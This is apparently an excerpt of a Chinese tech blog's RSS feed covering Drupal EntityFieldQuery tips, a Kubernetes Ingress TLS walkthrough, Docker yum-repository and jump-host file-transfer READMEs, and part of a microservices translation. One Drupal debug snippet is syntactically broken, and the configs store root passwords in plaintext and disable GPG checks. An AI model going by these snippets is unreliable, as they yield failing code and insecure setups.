&lt;h2 id=&#34;随机排序&#34;&gt;随机排序&lt;/h2&gt;

&lt;p&gt;最简单的随机排序方法就是添加一个 tag，然后进行一次 alter。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
function mymodule_superblock() {
  $query = new EntityFieldQuery();
  $result = $query
    -&amp;gt;entityCondition(&#39;entity_type&#39;, &#39;node&#39;)
    -&amp;gt;fieldCondition(&#39;field_categories&#39;, &#39;tid&#39;, array(&#39;12&#39;,&#39;13&#39;), &#39;IN&#39;)
    -&amp;gt;propertyCondition(&#39;status&#39;, 1)
    -&amp;gt;addTag(&#39;random&#39;)
    -&amp;gt;range(0,5)
    -&amp;gt;execute();
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来做 alter&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
function mymodule_query_random_alter($query){
  $query-&amp;gt;orderRandom();
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;参考：&lt;a href=&#34;http://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_query_TAG_alter/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;hook_query_TAG_alter&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;排错&#34;&gt;排错&lt;/h2&gt;

&lt;p&gt;根据在 &lt;a href=&#34;http://drupal.stackexchange.com/questions/36542/debug-entityfieldquery&#34; target=&#34;_blank&#34;&gt;stackexchange&lt;/a&gt; 的内容，可以实现 &lt;a href=&#34;https://api.drupal.org/api/drupal/modules!system!system.api.php/function/hook_query_alter/7&#34; target=&#34;_blank&#34;&gt;hook_query_alter()&lt;/a&gt; 结合 &lt;a href=&#34;https://www.drupal.org/project/devel&#34; target=&#34;_blank&#34;&gt;devel&lt;/a&gt;的dpm ，对实体字段查询过程进行排错。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
function CUSTOMMODULE_query_alter($query) {
  if ($query-&amp;gt;hasTag(&#39;efq_debug&#39;) &amp;amp;&amp;amp; module_exists(&#39;devel&#39;)) {
    dpm((string) $query);
    dpm($query-&amp;gt;arguments());
  }
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;当你往自己的模块中加入了这个函数，就可以利用addTag&lt;code&gt;(&#39;efq_debug&#39;)&lt;/code&gt;来扩展这个查询：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
$q = new EntityFieldQuery;
$q-&amp;gt;entityCondition(&#39;entity_type&#39;, &#39;node&#39;);
  -&amp;gt;addTag(&#39;efq_debug&#39;);
  -&amp;gt;execute();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;相关资源&#34;&gt;相关资源&lt;/h2&gt;

&lt;h3 id=&#34;代码实例&#34;&gt;代码实例&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;modules\simpletest\tests\entity_query.test中的EntityFieldQuery测试。&lt;/li&gt;
&lt;li&gt;在核心和其他模块中利用grep/search搜索&lt;code&gt;new EntityFieldQuery()&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;文章和教程&#34;&gt;文章和教程&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://treehouseagency.com/blog/neil-hastings/2011/09/06/building-energygov-without-views&#34; target=&#34;_blank&#34;&gt;没有 views 的 Energy.gov&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/node/916776&#34; target=&#34;_blank&#34;&gt;Drupal.org 的相关论题&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://treehouseagency.com/blog/tim-cosgrove/2012/02/16/entityfieldquery-let-drupal-do-heavy-lifting-pt-1&#34; target=&#34;_blank&#34;&gt;EntityFieldQuery: Let Drupal Do The Heavy Lifting (Pt 1)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://treehouseagency.com/blog/tim-cosgrove/2012/02/28/entityfieldquery-let-drupal-do-heavy-lifting-pt-2&#34; target=&#34;_blank&#34;&gt;EntityFieldQuery: Let Drupal Do The Heavy Lifting (Pt 2)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.phase2technology.com/blog/or-queries-with-entityfieldquery&#34; target=&#34;_blank&#34;&gt;EntityFieldQuery中的OR查询&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://timonweb.com/loading-only-one-field-from-an-entity-or-node&#34; target=&#34;_blank&#34;&gt;从一个实体或节点中只获取一个字段&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;其他资源&#34;&gt;其他资源&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes--entity.inc/class/EntityFieldQuery/7&#34; target=&#34;_blank&#34;&gt;api.drupal.org 上的 EntityFieldQuery&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 1.2 中利用 Ingress 简化复杂网络</title>
      <link>/post/kubernetes-1.2-with-ingress/</link>
      <pubDate>Wed, 06 Apr 2016 07:50:05 +0800</pubDate>
      <guid>/post/kubernetes-1.2-with-ingress/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2016/03/kubernetes-1.2-and-simplifying-advanced-networking-with-ingress&#34; target=&#34;_blank&#34;&gt;Kubernetes 1.2 and simplifying advanced networking with Ingress&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;在 Kubernetes 中，服务和 Pod 的 IP 地址缺省只能被集群网络路由。所有边缘路由器传来的流量要么被丢弃，要么被转向。在 Kubernetes 中，我们对 Ingress 对象做了改进，用于简化传入连接进入集群服务的过程。对其进行配置，能够给服务外部可达的 URL，负载均衡，Terminate SSL，提供具名虚拟主机等大量功能。&lt;/p&gt;

&lt;h2 id=&#34;ingress-controller&#34;&gt;Ingress Controller&lt;/h2&gt;

&lt;p&gt;如今，受容器或者虚拟机的影响，对 Web 服务器或者负载均衡的配置变得麻烦了。多数的 Web 服务器配置文件很像。虽说有些应用有些古怪，但是总的说来还是可以通过一些逻辑来达到目的的。在 Kuberntes 1.2 中，Ingress 实现了这些想法，Ingress 控制器就是用于处理这些特别的 Ingress “类” （可能是负载均衡的一个实例，或者复杂一些的提供 GSLB、CDN、DDoS 保护等功能的前端）中的这些个性的东西。Ingress Controller 是一个守护进程，以 Kuberntes Pod 的形式进行部署，他会监控 API 服务的 /ingress 终结点来获取对 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/ingress/&#34; target=&#34;_blank&#34;&gt;Ingress 资源&lt;/a&gt; 的更新。他的任务就是实现 Ingress 请求。&lt;/p&gt;

&lt;p&gt;为了运行下面的例子，你的 Kubternetes 集群必须仅有一个支持 TLS 的 Ingress 控制器。如果你的集群运行在云提供商环境中，首先查找一下 “kube-system” 命名空间，查找 Ingress 控制器的 RC。如果没有的话，需要部署一个 &lt;a href=&#34;https://github.com/kubernetes/contrib/tree/master/ingress/controllers/nginx&#34; target=&#34;_blank&#34;&gt;nginx 控制器&lt;/a&gt; 或者 用不到 100 行代码&lt;a href=&#34;https://github.com/kubernetes/contrib/tree/master/ingress/controllers#writing-an-ingress-controller&#34; target=&#34;_blank&#34;&gt;自行实现&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;务必花费少许时间来了解一下现存控制器的限制（ GCE, nginx ）。&lt;/p&gt;

&lt;h2 id=&#34;tls-termination-和-http-负载均衡&#34;&gt;TLS termination 和 HTTP 负载均衡&lt;/h2&gt;

&lt;p&gt;Ingress 用于承接服务，所以很适合做负载均衡以及中心化的安全配置。如果你熟悉 Go 语言，Ingress 在集群中扮演了 &lt;a href=&#34;https://golang.org/pkg/net/http/#Server&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;net/http’s “Server”&lt;/code&gt;&lt;/a&gt; 的角色。下面的例子示范了如何配置 TLS termination。负载均衡是 Ingress 的必选项目，所以只要创建了这一对象，就有了负载均衡能力。&lt;/p&gt;

&lt;p&gt;首先创建一个测试服务。我们会运行一个简单的 Echo 服务器，用来告知我们正在运行的内容（&lt;a href=&#34;https://github.com/kubernetes/contrib/tree/master/ingress/echoheaders&#34; target=&#34;_blank&#34;&gt;源代码&lt;/a&gt;）：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl run echoheaders 
--image=gcr.io/google_containers/echoserver:1.3 --port=8080
$ kubectl expose deployment echoheaders --target-port=8080 
--type=NodePort
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果你是在云服务提供商提供的集群上运行，确认你可以由外网通过 Nodeport 访问到这一服务。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ NODE_IP=$(kubectl get node `kubectl get po -l run=echoheaders 
--template &#39;{{range .items}}{{.spec.nodeName}}{{end}}&#39;` --template
&#39;{{range $i, $n := .status.addresses}}{{if eq $n.type 
&amp;quot;ExternalIP&amp;quot;}}{{$n.address}}{{end}}{{end}}&#39;)
$ NODE_PORT=$(kubectl get svc echoheaders --template &#39;{{range $i, $e 
:= .spec.ports}}{{$e.nodePort}}{{end}}&#39;)
$ curl $NODE_IP:$NODE_PORT
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这是一个简单的检查，如果最后一步失败了，可能需要设置一下&lt;a href=&#34;https://github.com/kubernetes/contrib/blob/master/ingress/controllers/gce/BETA_LIMITATIONS.md#creating-the-firewall-rule-for-glbc-health-checks&#34; target=&#34;_blank&#34;&gt;防火墙规则&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;接下来创建我们的 TLS secret：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout 
/tmp/tls.key -out /tmp/tls.crt -subj &amp;quot;/CN=echoheaders/O=echoheaders&amp;quot;
$ echo &amp;quot;
apiVersion: v1
kind: Secret
metadata:
name: tls
data:
tls.crt: `base64 -w 0 /tmp/tls.crt`
tls.key: `base64 -w 0 /tmp/tls.key`
&amp;quot; | kubectl create -f
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;配置 Ingress：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ echo &amp;quot;
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
name: test
spec:
tls:
- secretName: tls
backend:
    serviceName: echoheaders
    servicePort: 8080
&amp;quot; | kubectl create -f -
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样就得到了一个负载均衡 IP：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl get ing 
NAME      RULE      BACKEND            ADDRESS         AGE
test      -         echoheaders:8080   130.X.X.X      4m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果等到 Ingress 控制器把你的后端设置为健康，会看到访问该 IP 80 端口的请求会被重定向到 443 端口，并会使用指定的 TLS 进行验证。&lt;/p&gt;

&lt;h2 id=&#34;未来&#34;&gt;未来&lt;/h2&gt;

&lt;p&gt;可以在 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/ingress/&#34; target=&#34;_blank&#34;&gt;Ingress API&lt;/a&gt; 获得更多的信息。Ingress 还在 Beta 阶段，我们期待你的反馈。你也可以贡献控制器或者 API 代码。所有跟 &lt;a href=&#34;https://www.google.com/webhp?sourceid=chrome-instant&amp;amp;ion=1&amp;amp;espv=2&amp;amp;ie=UTF-8#q=ingress%20meaning&#34; target=&#34;_blank&#34;&gt;&amp;ldquo;Ingress&amp;rdquo;&lt;/a&gt; 的内容都可以，包含 DNS、不同的 TLS 模式、SNI、4 层负载均衡、内容缓存、更多的算法和健康检查等。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Docker 镜像：Cent OS 7 的 Yum 仓库</title>
      <link>/post/centos-7-yum-repostion-image/</link>
      <pubDate>Thu, 17 Mar 2016 22:22:31 +0800</pubDate>
      <guid>/post/centos-7-yum-repostion-image/</guid>
      <description>

&lt;p&gt;&lt;a href=&#34;https://github.com/fleeto/yum.centos7&#34; target=&#34;_blank&#34;&gt;Github&lt;/a&gt;
&lt;a href=&#34;https://hub.docker.com/r/dustise/yum.centos7/&#34; target=&#34;_blank&#34;&gt;Dockerhub&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Docker file, Yum repository for CentOS 7.&lt;/p&gt;

&lt;h2 id=&#34;usage&#34;&gt;Usage&lt;/h2&gt;

&lt;h3 id=&#34;build&#34;&gt;Build&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Build&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;docker build \
-t image.registry/yumrepo:0.1
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Build with proxy&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;docker build \
--build-arg http_proxy=web.proxy:8080 \
--build-arg https_proxy=web.proxy:8080 \
-t image.registry/yumrepo:0.1
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;run&#34;&gt;Run&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
docker run -d \
    -e http_proxy=&#39;web.proxy:8080&#39; \
    -e https_proxy=&#39;web.proxy:8080&#39; \
    -v /u01/repo.data/:/repo \
    -v /u01/repo.total:/repo.def \
    -p 8084:80 \
    --name=centos7yum \
    &amp;quot;image.registry/yumrepo:0.1&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;/repo&lt;/code&gt;: RPMs path, we can map it to an external volume to make it persistent&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/repo.def&lt;/code&gt;: you can store &lt;code&gt;*.repo&lt;/code&gt; files into it, and it will replace the origin &lt;code&gt;total.repo&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&#34;update&#34;&gt;Update&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;docker exec [container id] refresh.sh&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&#34;yum-repository-defination&#34;&gt;Yum Repository defination&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;[localrepo]
name=LAN Repository
baseurl=http://repo.server.url:8084
enabled=1
gpgcheck=0
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>跳板/堡垒机 文件传输工具</title>
      <link>/post/file-transfer-tool-for-ssh-jumpover/</link>
      <pubDate>Thu, 03 Mar 2016 00:24:17 +0800</pubDate>
      <guid>/post/file-transfer-tool-for-ssh-jumpover/</guid>
      <description>

&lt;hr /&gt;

&lt;h2 id=&#34;项目地址-github-https-github-com-fleeto-filejumper&#34;&gt;项目地址 &lt;a href=&#34;https://github.com/fleeto/filejumper&#34; target=&#34;_blank&#34;&gt;github&lt;/a&gt;&lt;/h2&gt;

&lt;hr /&gt;

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;工作中经常需要使用堡垒机/跳板机来登录生产环境中的服务器，逐级进行不厌其烦的文件拷贝。所以就写了这么个东西。&lt;/p&gt;

&lt;p&gt;这是一个简单的脚本，利用配置文件配置好主机信息，以及对应的跳转关系之后，在相关主机中用 screen/tmux 运行该脚本，这一脚本会自动监控 task 文件夹中的任务。一旦发现新的任务，就会根据主机信息，逐级进行上传，并自动回报传输进度。&lt;/p&gt;

&lt;h2 id=&#34;环境依赖&#34;&gt;环境依赖&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Python 2.x&lt;/li&gt;
&lt;li&gt;scp&lt;/li&gt;
&lt;li&gt;sshpass&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;用法&#34;&gt;用法&lt;/h2&gt;

&lt;h3 id=&#34;启动脚本&#34;&gt;启动脚本&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;安装依赖内容&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;建立工作目录，例如 &lt;code&gt;mkdir /root/jumper&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;填写主机信息文件 &lt;code&gt;host.json&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;主机 ID&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;其中 path 代表的是各个主机中在步骤 1 建立的工作目录&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;upstream 代表该主机的上级跳板/堡垒机的主机 ID&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在各个主机中以 &lt;code&gt;jumper.py [machin id] [working dir]&lt;/code&gt; 形式运行该脚本&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;传输文件&#34;&gt;传输文件&lt;/h3&gt;

&lt;p&gt;下面步骤均在第一跳板上完成。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;把待传输文件放到工作目录的 &lt;code&gt;data&lt;/code&gt; 子目录下。&lt;/li&gt;
&lt;li&gt;编写任务文件，命名随意，扩展名必须为 &lt;code&gt;.json&lt;/code&gt;，格式见后，其中 id , position, status 字段值均为 &amp;ldquo;&amp;rdquo;&lt;/li&gt;
&lt;li&gt;等传输开始，定期查看该任务文件的 log 和 status 字段，获取任务进度&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;配置文件&#34;&gt;配置文件&lt;/h2&gt;

&lt;h3 id=&#34;host-json&#34;&gt;host.json&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;jumper1&amp;quot;: {
    &amp;quot;host&amp;quot;: &amp;quot;10.211.55.42&amp;quot;,
    &amp;quot;user&amp;quot;: &amp;quot;root&amp;quot;,
    &amp;quot;pass&amp;quot;: &amp;quot;ComplexPwd&amp;quot;,
    &amp;quot;port&amp;quot;: &amp;quot;22&amp;quot;,
    &amp;quot;path&amp;quot;: &amp;quot;/root/jumper&amp;quot;,
    &amp;quot;upstream&amp;quot;: &amp;quot;&amp;quot;
  },
  &amp;quot;jumper2&amp;quot;: {
    &amp;quot;host&amp;quot;: &amp;quot;10.211.55.43&amp;quot;,
    &amp;quot;user&amp;quot;: &amp;quot;root&amp;quot;,
    &amp;quot;pass&amp;quot;: &amp;quot;ComplexPwd&amp;quot;,
    &amp;quot;port&amp;quot;: &amp;quot;22&amp;quot;,
    &amp;quot;path&amp;quot;: &amp;quot;/root/jumper&amp;quot;,
    &amp;quot;upstream&amp;quot;: &amp;quot;jumper1&amp;quot;
  },
  &amp;quot;jumper3&amp;quot;: {
    &amp;quot;host&amp;quot;: &amp;quot;10.211.55.44&amp;quot;,
    &amp;quot;user&amp;quot;: &amp;quot;root&amp;quot;,
    &amp;quot;pass&amp;quot;: &amp;quot;ComplexPwd&amp;quot;,
    &amp;quot;port&amp;quot;: &amp;quot;22&amp;quot;,
    &amp;quot;path&amp;quot;: &amp;quot;/root/jumper&amp;quot;,
    &amp;quot;upstream&amp;quot;: &amp;quot;jumper2&amp;quot;
  },
  &amp;quot;web&amp;quot;: {
    &amp;quot;host&amp;quot;: &amp;quot;10.211.55.45&amp;quot;,
    &amp;quot;user&amp;quot;: &amp;quot;root&amp;quot;,
    &amp;quot;pass&amp;quot;: &amp;quot;ComplexPwd&amp;quot;,
    &amp;quot;port&amp;quot;: &amp;quot;22&amp;quot;,
    &amp;quot;path&amp;quot;: &amp;quot;/root/jumper&amp;quot;,
    &amp;quot;upstream&amp;quot;: &amp;quot;jumper3&amp;quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;task-json-新任务&#34;&gt;task.json （新任务）&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;status&amp;quot;: &amp;quot;&amp;quot;,
  &amp;quot;file&amp;quot;: &amp;quot;dm.zip&amp;quot;,
  &amp;quot;position&amp;quot;: &amp;quot;&amp;quot;,
  &amp;quot;id&amp;quot;: &amp;quot;&amp;quot;,
  &amp;quot;target&amp;quot;: &amp;quot;web&amp;quot;
}

&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;task-json-任务完成&#34;&gt;task.json （任务完成）&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;status&amp;quot;: &amp;quot;finished&amp;quot;,
  &amp;quot;log&amp;quot;: [
    {
      &amp;quot;host&amp;quot;: &amp;quot;jumper1&amp;quot;,
      &amp;quot;hash&amp;quot;: &amp;quot;55292b6922f34fc1e56b876e8e4dbb5d&amp;quot;,
      &amp;quot;time&amp;quot;: &amp;quot;2016-02-23 15:39:08&amp;quot;
    },
    {
      &amp;quot;host&amp;quot;: &amp;quot;jumper2&amp;quot;,
      &amp;quot;hash&amp;quot;: &amp;quot;55292b6922f34fc1e56b876e8e4dbb5d&amp;quot;,
      &amp;quot;time&amp;quot;: &amp;quot;2016-02-23 15:39:39&amp;quot;
    },
    {
      &amp;quot;host&amp;quot;: &amp;quot;jumper3&amp;quot;,
      &amp;quot;hash&amp;quot;: &amp;quot;55292b6922f34fc1e56b876e8e4dbb5d&amp;quot;,
      &amp;quot;time&amp;quot;: &amp;quot;2016-02-23 15:39:56&amp;quot;
    }
  ],
  &amp;quot;file&amp;quot;: &amp;quot;dm.zip&amp;quot;,
  &amp;quot;position&amp;quot;: &amp;quot;web&amp;quot;,
  &amp;quot;id&amp;quot;: &amp;quot;86086b9eda0011e5a310001c4268d82a&amp;quot;,
  &amp;quot;target&amp;quot;: &amp;quot;web&amp;quot;
}

&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>微服务</title>
      <link>/post/microservice/</link>
      <pubDate>Wed, 02 Mar 2016 05:41:53 +0800</pubDate>
      <guid>/post/microservice/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://martinfowler.com/articles/microservices.html&#34; target=&#34;_blank&#34;&gt;Microservices&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;翻到 &lt;sup&gt;2&lt;/sup&gt;&amp;frasl;&lt;sub&gt;3&lt;/sub&gt; 的时候看到一篇疑似译文，不过并未注明原作和出处，恩。反正我这是学习笔记。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;“微服务”——另一个软件架构的流行词。本来我们应该对这类东西扔去一个蔑视的眼神，不过这个名词所描述的软件系统越来越多。过去几年中我们看到很多这种风格的项目，这甚至成为构建企业应用的缺省方式。然而可惜的是，微服务是什么？如何实现微服务？这两个问题却没有明确的解答。&lt;/p&gt;

&lt;p&gt;简单来说，微服务架构是一种开发应用的方法，应用由一系列的小服务构成，每个小服务都拥有各自的进程，并提供轻量级的通讯机制（一般是 HTTP 资源 API）。这些服务围绕业务能力进行构建，并且通过全自动方式进行部署。这些服务可能用不同语言、使用不同数据存储来进行实现，最大限度的降低对中心化管理中心的需求。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;微服务这个词最早是在 2011 年 5 月威尼斯一个软件架构会议上讨论时，用于描述与会人员当时所探索的通用架构模式。在 2012 年 5 月，同一组人确定了这个最合理的命名。James 在 2012 年 3 月的举行于 Krakow 的 33rd Degree 会议上，以 [Microservices - Java, the Unix Way] 为题，以案例研究的形式阐述了其中的部分理念；几乎同时，Fred George 发表了题为 &lt;a href=&#34;http://www.slideshare.net/fredgeorge/micro-service-architecure&#34; target=&#34;_blank&#34;&gt;MicroService Architecture&lt;/a&gt;的演讲。Netflix 的 Adrian Cockcroft 称这种方式为 &amp;ldquo;细纹理 SOA&amp;rdquo;，他和文中提到的其他人（Joe Walnes, Dan North, Evan Botcher and Graham Tackley），是这一架构的先驱者。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;在解释微服务之前，先比较一下 monolithic（ 单一庞大的，整块巨石构成的 ）模式：以单个单元构建而成的引用。企业应用通常由三个部分组成：一个客户端的用户界面（包含 HTML 页面以及运行在客户浏览器中的 JavaScript）、一个数据库（通常是一个关系型数据库管理系统，包含很多数据表）以及一个服务端应用。服务端会处理 HTTP 请求，执行业务逻辑，对数据库中的数据进行读写，选择和处理 HTML 视图，并发送给浏览器。这一个服务端应用就是一个单一逻辑的可执行应用，所有对系统的变更都需要构建和发布这一应用的新版本。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;http://www.jianshu.com/p/546ef242b6a3&#34; target=&#34;_blank&#34;&gt;巨石&lt;/a&gt; 这个称呼似乎不错。&lt;/p&gt;

&lt;p&gt;monolith 这个词在 Unix 社区用了一段时间了。出自 &lt;a href=&#34;http://www.amazon.com/gp/product/B003U2T5BA?ie=UTF8&amp;amp;tag=martinfowlerc-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=B003U2T5BA&#34; target=&#34;_blank&#34;&gt;The Art of Unix Programming&lt;/a&gt;，用来称呼过分庞大的系统。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Monolithic 服务器是一个自然而然的想法。对所有请求的处理都是在同一个进程里面实现，可以使用语言的功能来把应用拆分为类、函数以及命名空间。可以在开发者的笔记本上运行和测试应用，并利用发布管线来确认变更都通过测试并部署到生产环境。应用能够用多实例的方式进行水平扩展。&lt;/p&gt;

&lt;p&gt;Monolithic 应用是可以成功的，不过随着人数的增加，可能就让人不满了 —— 尤其是更多应用被部署到云环境之中的情况下。即使是应用中的一小部分的变更，也会要求整个应用重建和部署。项目的模块化结构也越来越难于维护，这又导致变更的影响范围很难被限制在模块之内。只能对整个应用的负载进行伸缩，也浪费了更多的资源。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/2002807d03556bbb619583259db824e5.png&#34; alt=&#34;sketch&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;图 1 ：Monoliths 和 微服务&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;Monolithic 应用把所有的功能放入一个进程，只能以应用的粒度进行集群设置。&lt;/li&gt;
&lt;li&gt;微服务架构把每个功能元素放入单独的服务中，可以按需对服务进行集群设置。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这些不满造就了微服务这样的架构风格：以一套服务的方式构建应用。每个服务都可以独立的部署和伸缩，每个服务都有严格的边界，甚至可以用不同的语言来开发不同的服务。每个服务也可以被不同的团队来管理。&lt;/p&gt;

&lt;p&gt;我们不认为微服务是个创新，他的根基就是 Unix 的设计原则。然而我们认为，使用这一架构思想的人还不够多，否则软件开发的过程会比现在愉快得多。&lt;/p&gt;

&lt;h2 id=&#34;微服务架构的特性&#34;&gt;微服务架构的特性&lt;/h2&gt;

&lt;p&gt;微服务架构还没有一个正式的定义，然而我们可以尝试描述一下这一架构的特性。当然，并不是说所有微服务架构都会具有所有这些特性，我们希望多数微服务应用能够体现多数的特性。这一社区很松散，我们尝试描述我们自己的团队以及我们知道的其他团队的相关工作，而不是尝试制定一个需要严格尊重的定义。&lt;/p&gt;

&lt;h3 id=&#34;服务方式实现的组件化&#34;&gt;服务方式实现的组件化&lt;/h3&gt;

&lt;p&gt;自从我们进入软件工业开始，就重复做着一个美梦——像物理世界一样，用可插接的零件来构建系统。过去二十年中，我们也看到这方面的巨大进步，多数语言平台都有了颇具规模的常规库。&lt;/p&gt;

&lt;p&gt;当说起组件时，我们陷入一个困境——如何定义组件？我们说组件是软件的一个可替换的、可升级的单元。&lt;/p&gt;

&lt;p&gt;微服务架构也会使用库，但是这一架构实现组件化的方式是把软件拆分为服务。库一般会被 Link 到程序之中，并在内存中被调用；而服务是进程外的组件，只能通过 Web 服务或者远程调用等方式进行调用（这是一概念和很多面向对象的服务对象概念是不同的）&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;包括我们自己在内的很多面向对象的设计者，在 &lt;a href=&#34;http://www.amazon.com/gp/product/0321125215?ie=UTF8&amp;amp;tag=martinfowlerc-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=0321125215&#34; target=&#34;_blank&#34;&gt;领域驱动设计模型&lt;/a&gt; 中使用服务对象这个词，用于描述一种没有绑定到实体，但却负载业务过程的对象。这跟本文中使用的“服务”一词是完全不同的概念。很不幸，我们必须忍受这个多义词的困扰。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;把服务看成组件（而不是库）的一个主要的原因是，服务是可以独立部署的。如果你有一个应用在单独进程中包含了多个库，对其中任何组件的变更都会导致整个应用的重新部署。如果应用解耦称为多个服务，就可以只对发生变更的服务进行重新部署了。但有些变更会导致服务接口的变更，从而对依赖这一服务的其他服务造成影响，因此独立部署这一特点并不是绝对的。好的微服务架构要通过服务边界的内聚，以及在服务协议中封装升级机制，来减少这种情况的发生。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;http://martinfowler.com/bliki/ApplicationBoundary.html&#34; target=&#34;_blank&#34;&gt;软件的边界&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

